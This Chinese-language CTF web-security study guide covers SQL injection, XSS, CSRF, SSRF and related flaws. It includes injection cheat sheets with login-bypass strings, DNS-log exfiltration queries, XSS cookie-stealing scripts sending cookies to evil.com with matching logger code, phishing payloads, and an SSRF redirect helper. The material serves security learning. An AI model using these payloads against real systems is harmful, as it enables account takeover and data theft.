CTF-Web要点


Web 简介

随着 WEB 2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于 WEB 环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在 WEB 平台上,WEB 业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是 WEB 安全威胁的凸显,黑客利用网站操作系统的漏洞和 WEB 服务程序的漏洞得到 WEB 服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。

在 CTF 竞赛中,WEB 也是占比重很大的一个方向之一,WEB 类的题目种类繁多,知识点细碎,时效性强,能紧跟时下热点漏洞,贴近实战。

WEB 类的题目包括但不限于:SQL 注入、XSS 跨站脚本、CSRF 跨站请求伪造、文件上传、文件包含、框架安全、PHP 常见漏洞、代码审计等。

SQL 注入

通过在用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

  1. 程序编写者在处理应用程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句
  2. 未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句中

XSS 跨站脚本攻击

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。

命令执行

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如 PHP 中的 systemexecshell_exec 等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。这里还是主要以 PHP 为主介绍命令执行漏洞,Java 等应用的细节待补充。

文件包含

如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。

CSRF 跨站请求伪造

跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以 CSRF 攻击主要用来执行动作,而非窃取用户数据。当受害者是一个普通用户时,CSRF 可以实现在其不知情的情况下转移用户资金、发送邮件等操作;但是如果受害者是一个具有管理员权限的用户时 CSRF 则可能威胁到整个 WEB 系统的安全。

SSRF 服务器端请求伪造

SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

文件上传

在网站的运营过程中,不可避免地要对网站的某些页面或者内容进行更新,这时便需要使用到网站的文件上传的功能。如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能会被利用于上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷。

点击劫持

Clickjacking(点击劫持)是由互联网安全专家罗伯特 · 汉森和耶利米 · 格劳斯曼在 2008 年首创的。

是一种视觉欺骗手段,在 WEB 端就是 iframe 嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。

由于点击劫持的出现,便出现了反 frame 嵌套的方式,因为点击劫持需要 iframe 嵌套页面来攻击。

下面代码是最常见的防止 frame 嵌套的例子:

if(top.location!=location)
    top.location=self.location;

VPS 虚拟专用服务器

VPS(Virtual Private Server 虚拟专用服务器)技术,将一部服务器分割成多个虚拟专享服务器的优质服务。实现 VPS 的技术分为容器技术,和虚拟化技术。在容器或虚拟机中,每个 VPS 都可分配独立公网 IP 地址、独立操作系统、实现不同 VPS 间磁盘空间、内存、CPU 资源、进程和系统配置的隔离,为用户和应用程序模拟出独占使用计算资源的体验。VPS 可以像独立服务器一样,重装操作系统,安装程序,单独重启服务器。VPS 为使用者提供了管理配置的自由,可用于企业虚拟化,也可以用于 IDC 资源租用。

IDC 资源租用,由 VPS 提供商提供。不同 VPS 提供商所使用的硬件 VPS 软件的差异,及销售策略的不同,VPS 的使用体验也有较大差异。尤其是 VPS 提供商超卖,导致实体服务器超负荷时,VPS 性能将受到极大影响。相对来说,容器技术比虚拟机技术硬件使用效率更高,更易于超卖,所以一般来说容器 VPS 的价格都低于虚拟机 VPS 的价格。

条件竞争

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。

XXE

XXE Injection 即 XML External Entity Injection,也就是 XML 外部实体注入攻击. 漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题。

在 XML 1.0 标准里,XML 文档结构⾥里定义了实体(entity)这个概念. 实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容. 如果在这个过程中引入了「污染」源,在对 XML 文档处理后则可能导致信息泄漏等安全问题。

XSCH

由于网站开发者在使用 Flash、Silverlight 等进行开发的过程中的疏忽,没有对跨域策略文件(crossdomain.xml)进行正确的配置导致问题产生。 例如:

<cross-domain-policy>
    <allow-access-from domain=“*”/>
</cross-domain-policy>

因为跨域策略文件配置为 *,也就指任意域的 Flash 都可以与它交互,导致可以发起请求、获取数据。

越权(功能级访问缺失)

越权漏洞是 WEB 应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数据仅限于存在漏洞功能对应的数据。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。

敏感信息泄露

敏感信息指不为公众所知悉,具有实际和潜在利用价值,丢失、不当使用或未经授权访问对社会、企业或个人造成危害的信息。包括:个人隐私信息、业务经营信息、财务信息、人事信息、IT 运维信息等。 泄露途径包括 Github、百度文库、Google code、网站目录等。

错误的安全配置

Security Misconfiguration:有时候,使用默认的安全配置可能会导致应用程序容易遭受多种攻击。在已经部署的应用、WEB 服务器、数据库服务器、操作系统、代码库以及所有和应用程序相关的组件中,都应该使用现有的最佳安全配置,这一点至关重要。

请求走私

在 HTTP 协议中,存在两种 Header 来指定请求的结尾,分别是 Content-Length 以及 Transfer-Encoding。在复杂的网络环境下,不同的服务器以不同的方式实现 RFC 标准。因此,相同的 HTTP 请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险。

TLS 投毒

在 TLS 协议中,存在一种会话复用机制,当支持该类特性的客户端访问了恶意 TLS 服务器后,客户端会存储恶意服务器下发的 Session ,在客户端重用会话时,配合 DNS Rebinding 可以实现让客户端发送恶意 Session 至内网服务,从而达到 SSRF 攻击效果,包括可以任意写入 Memcached 等内网服务,进而配合其他漏洞造成 RCE 等危害。

XS-Leaks

跨站脚本泄漏(又称 XS-Leaks/XSLeaks),是一类利用 Web 平台内置的侧信道衍生出来的漏洞。其原理是利用网络上的这种侧信道来揭示用户的敏感信息,如用户在其他网络应用中的数据、用户本地环境信息,或者是用户所连接的内部网络信息等。

该攻击利用了 Web 平台的核心原则 – 可组合性,即允许网站之间相互作用,并滥用合法机制来推断用户的信息。该攻击与跨站请求伪造(CSRF)技术主要区别在于 XS-Leaks 并不伪造用户请求执行操作,而是用来推断、获取用户信息。

浏览器提供了各种各样的功能来支持不同 Web 应用程序之间的互动;例如,浏览器允许一个网站加载子资源、导航或向另一个应用程序发送消息。虽然这些行为通常受到网络平台的安全机制的限制(例如同源政策),但 XS-Leaks 利用了网站之间互动过程中的各种行为来泄露用户信息。

WAF

Web 应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称:WAF)。利用国际上公认的一种说法:WEB 应用防火墙是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 WEB 应用提供保护的一款产品。

IDS

IDS 是英文 Intrusion Detection Systems 的缩写,中文意思是「入侵检测系统」。专业上讲就是依照一定的安全策略,通过软、硬件,对网络、系统的运行状况进行监视,尽可能发现各种攻击企图、攻击行为或者攻击结果,以保证网络系统资源的机密性、完整性和可用性。做一个形象的比喻:假如防火墙是一幢大楼的门锁,那么 IDS 就是这幢大楼里的监视系统。一旦小偷爬窗进入大楼,或内部人员有越界行为,只有实时监视系统才能发现情况并发出警告。

IPS

入侵防御系统(IPS:Intrusion Prevention System)是电脑网络安全设施,是对防病毒软件(Antivirus Programs)和防火墙(Packet Filter,Application Gateway)的补充。入侵预防系统(Intrusion-prevention system)是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。

SQL 注入

基本概念

  • SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。
  • 攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限。
  • 如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞。

常用工具

注入常见参数

  • user():当前数据库用户
  • database():当前数据库名
  • version():当前使用的数据库版本
  • @@datadir:数据库存储数据路径
  • concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
  • group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
  • concat_ws():用法类似
  • hex()unhex():用于 hex 编码解码
  • load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
  • select xxoo into outfile '路径':权限较高时可直接写文件

语法参考与小技巧

行间注释

  • --

    DROP sampletable;--
  • #

    DROP sampletable;#

行内注释

  • /*注释内容*/

    DROP/*comment*/sampletable`   DR/**/OP/*绕过过滤*/sampletable`   SELECT/*替换空格*/password/**/FROM/**/Members
  • /*! MYSQL专属 */

    SELECT /*!32302 1/0, */ 1 FROM tablename

字符串编码

  • ASCII():返回字符的 ASCII 码值
  • CHAR():把整数转换为对应的字符

后台万能密码

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • 以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

注入语句备忘

数据库名

SELECT database();
SELECT schema_name FROM information_schema.schemata;

表名

  • union 查询

    --MySQL 4版本时用version=9,MySQL 5版本时用version=10
    UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;   /* 列出当前数据库中的表 */
    UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();   /* 列出所有用户自定义数据库中的表 */
    SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
  • 盲注

    AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
  • 报错

    AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));
    -- 在5.1.5版本中成功。

列名

  • union 查询

    UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
  • 盲注

    AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
  • 报错

    -- 在5.1.5版本中成功
    AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)
    -- MySQL 5.1版本修复了
    AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));
  • 利用 PROCEDURE ANALYSE()

    -- 这个需要 web 展示页面有你所注入查询的一个字段
    -- 获得第一个段名
    SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE()
    -- 获得第二个段名
    1 LIMIT 1,1 PROCEDURE ANALYSE()
    -- 获得第三个段名
    1 LIMIT 2,1 PROCEDURE ANALYSE()

根据列名查询所在的表

-- 查询字段名为 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
-- 查询字段名中包含 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';

绕过引号限制

-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

绕过字符串黑名单

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

使用 CONCAT() 时,任何个参数为 null,将返回 null,推荐使用 CONCAT_WS()CONCAT_WS()函数第一个参数表示用哪个字符间隔所查询的结果。

条件语句

CASE, IF(), IFNULL(), NULLIF().

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

延时函数

SLEEP(), BENCHMARK().

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

order by 后的注入

order by 由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。一般带有 order 或者 order by 的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:

原始链接:http://www.test.com/list.php?order=vote

根据 vote 字段排序。找到投票数最大的票数 num 然后构造以下链接:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc

看排序是否变化。还有一种方法不需要知道任何字段信息,使用 rand 函数:

http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)

以上两个会返回不同的排序,判断表名中第一个字符是否小于 128 的语句如下:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

宽字节注入

国内最常使用的 GBK 编码,这种方式主要是绕过 addslashes 等对特殊字符进行转移的绕过。反斜杠 \ 的十六进制为 %5c,在你输入 %bf%27 时,函数遇到单引号自动转移加入 \,此时变为 %bf%5c%27%bf%5c 在 GBK 中变为一个宽字符「縗」。%bf 那个位置可以是 %81-%fe 中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。

DNSLOG 注入

DNS 在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。

dnslog 平台:http://ceye.io/

mysql> use security;
Database changed

mysql> select load_file('\\\\test.xxx.ceye.io\\abc');
+-------------------------------------------+
| load_file('\\\\test.xxx.ceye.io\\abc') |
+-------------------------------------------+
| NULL                                      |
+-------------------------------------------+
1 row in set (22.05 sec)

mysql> select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));
+----------------------------------------------------------------------+
| load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc')) |
+----------------------------------------------------------------------+
| NULL                                                                 |
+----------------------------------------------------------------------+
1 row in set (0.00 sec)

参考资料

XSS

XSS 简介

跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 WEB 应用程序中的计算机安全漏洞,是由于 WEB 应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookies 资料窃取、会话劫持、钓鱼欺骗等各种攻击。

反射型 XSS

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。

反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

服务器端代码:

<?php 
// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Feedback for end user 
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
} 
?>

可以看到,代码直接引用了 name 参数,并没有做任何的过滤和检查,存在明显的 XSS 漏洞。

持久型 XSS

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。

此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

服务器端代码:

<?php
  if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );
    // Sanitize name input
    $name = mysql_real_escape_string( $name );
    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    //mysql_close(); }
?>

代码只对一些空白符、特殊符号、反斜杠进行了删除或转义,没有做 XSS 的过滤和检查,且存储在数据库中,明显存在存储型 XSS 漏洞。

DOM XSS

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。

HTML 代码:

<html>
  <head>
    <title>DOM-XSS test</title>
  </head>
  <body>
    <script>
      var a=document.URL;
      document.write(a.substring(a.indexOf("a=")+2,a.length));
    </script>
  </body>
</html>

将代码保存在 domXSS.html 中,浏览器访问:

http://127.0.0.1/domXSS.html?a=<script>alert('XSS')</script>

即可触发 XSS 漏洞。

XSS 利用方式

Cookies 窃取

攻击者可以使用以下代码获取客户端的 Cookies 信息:

<script>
document.location="http://www.evil.com/cookie.asp?cookie="+document.cookie
new Image().src="http://www.evil.com/cookie.asp?cookie="+document.cookie
</script>
<img src="http://www.evil.com/cookie.asp?cookie="+document.cookie></img>

在远程服务器上,有一个接受和记录 Cookies 信息的文件,示例如下:

<%
  msg=Request.ServerVariables("QUERY_STRING")
  testfile=Server.MapPath("cookie.txt")
  set fs=server.CreateObject("Scripting.filesystemobject")
  set thisfile=fs.OpenTextFile(testfile,8,True,0)
  thisfile.Writeline(""&msg& "")
  thisfile.close
  set fs=nothing
%>
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

攻击者在获取到 Cookies 之后,通过修改本机浏览器的 Cookies,即可登录受害者的账户。

会话劫持

由于使用 Cookies 存在一定的安全缺陷,因此,开发者开始使用一些更为安全的认证方式,如 Session。在 Session 机制中,客户端和服务端通过标识符来识别用户身份和维持会话,但这个标识符也有被其他人利用的可能。会话劫持的本质是在攻击中带上了 Cookies 并发送到了服务端。

如某 CMS 的留言系统存在一个存储型 XSS 漏洞,攻击者把 XSS 代码写进留言信息中,当管理员登录后台并查看是,便会触发 XSS 漏洞,由于 XSS 是在后台触发的,所以攻击的对象是管理员,通过注入 JavaScript 代码,攻击者便可以劫持管理员会话执行某些操作,从而达到提升权限的目的。

比如,攻击者想利用 XSS 添加一个管理员账号,只需要通过之前的代码审计或其他方式,截取到添加管理员账号时的 HTTP 请求信息,然后使用 XMLHTTP 对象在后台发送一个 HTTP 请求即可,由于请求带上了被攻击者的 Cookies,并一同发送到服务端,即可实现添加一个管理员账户的操作。

钓鱼

  • 重定向钓鱼

    把当前页面重定向到一个钓鱼页面。

    http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>
  • HTML 注入式钓鱼

    使用 XSS 漏洞注入 HTML 或 JavaScript 代码到页面中。

    http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br/><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>

该段代码会在正常页面中嵌入一个 Form 表单。

  • iframe 钓鱼

    这种方式是通过 <iframe> 标签嵌入远程域的一个页面实施钓鱼。

    http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"</iframe>
  • Flash 钓鱼

    将构造好的 Flash 文件传入服务器,在目标网站用 <object><embed> 标签引用即可。

  • 高级钓鱼技术

    注入代码劫持 HTML 表单、使用 JavaScript 编写键盘记录器等。

网页挂马

一般都是通过篡改网页的方式来实现的,如在 XSS 中使用 <iframe> 标签。

DOS 与 DDOS

注入恶意 JavaScript 代码,可能会引起一些拒绝服务攻击。

XSS 蠕虫

通过精心构造的 XSS 代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能。

Self-XSS 变废为宝的场景

Self-XSS 顾名思义,就是一个具有 XSS 漏洞的点只能由攻击者本身触发,即自己打自己的攻击。比如个人隐私的输入点存在 XSS。但是由于这个隐私信息只能由用户本人查看也就无法用于攻击其他人。这类漏洞通常危害很小,显得有些鸡肋。但是在一些具体的场景下,结合其他漏洞(比如 CSRF )就能将 Self-XSS 转变为具有危害的漏洞。下面将总结一些常见可利用 Self-XSS 的场景。

  • 登录登出存在 CSRF,个人信息存在 Self-XSS,第三方登录

这种场景一般的利用流程是首先攻击者在个人信息 XSS 点注入 Payload,然后攻击者制造一个恶意页面诱导受害者访问,恶意页面执行以下操作:

  1. 恶意页面执行利用 CSRF 让受害者登录攻击者的个人信息位置,触发 XSS payload
  2. JavaScript Payload 生成 <iframe> 标签,并在框架内执行以下这些操作
  3. 让受害者登出攻击者的账号
  4. 然后使得受害者通过 CSRF 登录到自己的账户个人信息界面
  5. 攻击者从页面提取 CSRF Token
  6. 然后可以使用 CSRF Token 提交修改用户的个人信息

这种攻击流程需要注意几个地方:第三步登录是不需要用户交互的,利用 Google Sign In 等非密码登录方式登录;X-Frame-Options 需要被设置为同源(该页面可以在相同域名页面的 iframe 中展示 )

  • 登录存在 CSRF,账户信息存在 Self-XSS,OAUTH 认证
  • 让用户退出账户页面,但是不退出 OAUTH 的授权页面,这是为了保证用户能重新登录其账户页面
  • 让用户登录我们的账户页面出现 XSS,利用 使用 <iframe> 标签等执行恶意代码
  • 登录回他们各自的账户,但是我们的 XSS 已经窃取到 Session

CSRF

CSRF 简介

CSRF,全名 Cross Site Request Forgery,跨站请求伪造。很容易将它与 XSS 混淆,对于 CSRF,其两个关键点是跨站点的请求与请求的伪造,由于目标站无 token 或 referer 防御,导致用户的敏感操作的每一个参数都可以被攻击者获知,攻击者即可以伪造一个完全一样的请求以用户的身份达到恶意目的。

CSRF 类型

按请求类型,可分为 GET 型和 POST 型。

按攻击方式,可分为 HTML CSRF、JSON HiJacking、Flash CSRF 等。

HTML CSRF

利用 HTML 元素发出 CSRF 请求,这是最常见的 CSRF 攻击。

HTML 中能设置 src/href 等链接地址的标签都可以发起一个 GET 请求,如:

<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0; url=">
<iframe src="">
<frame src="">
<script src=""></script>
<bgsound src=""></bgsound>
<embed src=""></bgsound>
<video src=""></video>
<audio src=""></audio>
<a href=""></a>
<table background=""></table>
......

还有 CSS 样式中的:

@import ""
background:url("")
......

也可使用表单来对 POST 型的请求进行伪造。

<form action="http://www.a.com/register" id="register" method="post">
  <input type=text name="username" value="" />
  <input type=password name="password" value="" />
</form>
<script>
  var f = document.getElementById("register");
  f.inputs[0].value = "test";
  f.inputs[1].value = "passwd";
  f.submit();
</script>

Flash CSRF

Flash 也有各种方式可以发起网络请求,包括 POST。

import flash.net.URLRequest;
import flash.system.Security;
var url = new URLRequest("http://target/page");
var param = new URLVariables();
param = "test=123";
url.method = "POST";
url.data = param;
sendToURL(url);
stop();

Flash 中还可以使用 getURLloadVars 等方式发起请求。

req = new LoadVars();
req.addRequestHeader("foo", "bar");
req.send("http://target/page?v1=123&v2=222", "_blank", "GET");

CSRF 的防御

验证码

验证码强制用户必须与应用进行交互,才能完成最终请求。

Referer Check

检查请求是否来自合法的源。但服务器并非什么时候都能取得 Referer。

Token

CSRF 能够攻击成功的本质原因是重要操作的所有参数都可以被攻击者猜测得到。

保持原参数不变,新增一个参数 Token,值是随机的,在实际应用中,Token 可以放在用户的 Session 中,或浏览器的 Cookies 中。

Token 一定要足够随机。此外,Token 的目的不是为了防止重复提交,所以为了使用方便,可以允许在一个用户的有效生命周期内,在 Token 消耗掉之前都使用同一个 Token,但如果用户已经提交了表单,则这个 Token 已经消耗掉,应该重新生成 Token。

Token 还应注意其保密性,如果 Token 出现在 URL 中,则可能会通过 Referer 泄露,应尽量把 Token 放在表单中,把敏感操作由 GET 改为 POST,以表单或 AJAX 的形式提交,避免 Token 泄露。

SSRF

SSRF 简介

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。

攻击者可以利用 SSRF 实现的攻击主要有 5 种:

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
  2. 攻击运行在内网或本地的应用程序(比如溢出)
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  5. 利用 file 协议读取本地文件等

SSRF 漏洞出现的场景

  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)

常用的后端实现

  1. file_get_contents

    <?php
    if (isset($_POST['url'])) { 
        $content = file_get_contents($_POST['url']); 
        $filename ='./images/'.rand().';img1.jpg'; 
        file_put_contents($filename, $content); 
        echo $_POST['url']; 
        $img = "<img src=\"".$filename."\"/>"; 
    }
    echo $img;
    ?>

    这段代码使用 file_get_contents 函数从用户指定的 URL 获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户。

  2. fsockopen()

    <?php 
    function GetFile($host,$port,$link) { 
        $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
        if (!$fp) { 
            echo "$errstr (error number $errno) \n"; 
        } else { 
            $out = "GET $link HTTP/1.1\r\n"; 
            $out .= "Host: $host\r\n"; 
            $out .= "Connection: Close\r\n\r\n"; 
            $out .= "\r\n"; 
            fwrite($fp, $out); 
            $contents=''; 
            while (!feof($fp)) { 
                $contents.= fgets($fp, 1024); 
            } 
            fclose($fp); 
            return $contents; 
        } 
    }
    ?>

    这段代码使用 fsockopen 函数实现获取用户制定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据。

  3. curl_exec()

    <?php 
    if (isset($_POST['url'])) {
        $link = $_POST['url'];
        $curlobj = curl_init();
        curl_setopt($curlobj, CURLOPT_POST, 0);
        curl_setopt($curlobj,CURLOPT_URL,$link);
        curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($curlobj);
        curl_close($curlobj);
    
        $filename = './curled/'.rand().'.txt';
        file_put_contents($filename, $result); 
        echo $result;
    }
    ?>

    使用 curl 获取数据。

阻碍 SSRF 漏洞利用的场景

  • 服务器开启 OpenSSL 无法进行交互利用
  • 服务端需要鉴权(Cookies & User:Pass)不能完美利用
  • 限制请求的端口为 http 常用的端口,比如,80,443,8080,8090。
  • 禁用不需要的协议。仅仅允许 http 和 https 请求。可以防止类似于 file:///,gopher://,ftp:// 等引起的问题。
  • 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

利用 SSRF 进行端口扫描

根据服务器的返回信息进行判断,大部分应用不会判别端口,可通过返回的 banner 信息判断端口状态。

后端实现

<?php 
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    $filename = './curled/'.rand().'txt';
    $curlobj = curl_init($link);
    $fp = fopen($filename,"w");
    curl_setopt($curlobj, CURLOPT_FILE, $fp);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_exec($curlobj);
    curl_close($curlobj);
    fclose($fp);
    $fp = fopen($filename,"r");
    $result = fread($fp, filesize($filename)); 
    fclose($fp);
    echo $result;
}
?>

构造一个前端页面

<html>
<body>
  <form name="px" method="post" action="http://127.0.0.1/ss.php">
    <input type="text" name="url" value="">
    <input type="submit" name="commit" value="submit">
  </form>
  <script></script>
</body>
</html>

请求非 HTTP 的端口可以返回 banner 信息。

或可利用 302 跳转绕过 HTTP 协议的限制。

辅助脚本

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

